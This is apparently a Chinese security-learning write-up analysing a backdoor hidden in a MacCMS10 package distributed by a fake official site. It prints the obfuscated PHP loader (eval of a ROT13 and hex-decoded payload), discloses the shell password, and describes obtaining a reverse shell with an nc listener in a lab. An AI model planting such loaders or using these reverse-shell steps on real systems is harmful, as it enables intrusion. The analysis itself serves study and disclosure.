(本文仅为平时学习记录,若有错误请大佬指出,如果本文能帮到你那我也是很开心啦)
该复现参考网络中的文章,该漏洞复现仅仅是为了学习交流,严禁非法使用!!!
一、事件背景
Maccms网站:基于PHP+MYSQL环境下运行的完善而强大的快速建站系统,最近Tools上有人曝出有一个冒充了苹果CMS官网的网站提供的MacCMS10存在后门,冒充网站http://www.maccmsv10.com/download.html
cms:内容管理系统
二、漏洞分析
1.在冒充的“苹果官网”下载MacCMS10版本后,打开源码,找到maccms10.zipextendQcloudSmsSms.php、maccms10.zipextendupyunsrcUpyunApiFormat.php
- 其中Smsphp和Format.php的后门木马是一样的,找出一个进行分析
1 <?php 2 error_reporting(E_ERROR);//报错 3 @ini_set('display_errors','Off');//做初始化环境 4 @ini_set('max_execution_time',20000); 5 @ini_set('memory_limit','256M'); 6 header("content-Type: text/html; charset=utf-8");//设置编码 7 $password = "0d41c75e2ab34a3740834cdd7e066d90";//32位,MD5加密的密码,解密后为:WorldFilledWithLove 8 function s(){ 9 $str = "编码之后的恶意代码"; 10 $str = str_rot13($str);//对恶意代码进行ROT13编码 11 m($str); 12 } 13 function m($str){ 14 global $password;//全局变量 15 $jj = ''; 16 eval($jj.pack('H*',$str).$jj);//对混淆的PHP代码进行解码(使用的是pack函数),解码之后的代码进行eval函数的解析 17 } 18 s();//调用s函数 19 ?>
- 执行下面的代码即可看到PHP+HTML编写的恶意代码
1 <?php 2 $str = "编码之后的恶意代码"; 3 $str = str_rot13($str); 4 echo pack('H*',$str);
2.将网站源码移动到PhpStudy的Web根目录下,打开PhpStudy,开启Apache服务,使用密码访问
http://127.0.0.1/maccms10/extend/upyun/src/Upyun/Api/Format.php或http://127.0.0.1/maccms10/extend/Qcloud/Sms/Sms.php,可以看到以下界面,使用解密之后的密码WorldFilledWithLove进行登录
- 这里我单独将有后门的文件直接移动到了Web根目录下,访问的地址就为127.0.0.1/Format.php
- 点击#Login进入以下界面
3.由上图可以看到,这是个大马,即有很多功能的木马,如,执行SQL、执行命令、反弹端口等,对其中几个功能进行测试
4.测试反弹端口,使用Kali虚拟机作为攻击者,本地机作为靶机
- 填完反弹地址和端口后不要点击反弹,反弹地址为Kali的IP
5.打开Kali,使用NC监听后,点击反弹
1 nc -lvvp 7777 开启监听端口7777 2 l 本地 3 vv 详细信息 4 p 端口
- 点击反弹后,就可以获得靶机的shell,输入系统命令进行测试,复现成功!!!
- 反弹shell:将目标机上的终端或解析器或者shell反弹到攻击者的电脑中,需要攻击者提前监听端口
6.使用NC监听,不稳定,很容易关闭监听,这时再次打开浏览器,就会发现报错信息,这个就是error_reporting(E_ERROR);命令所报的错误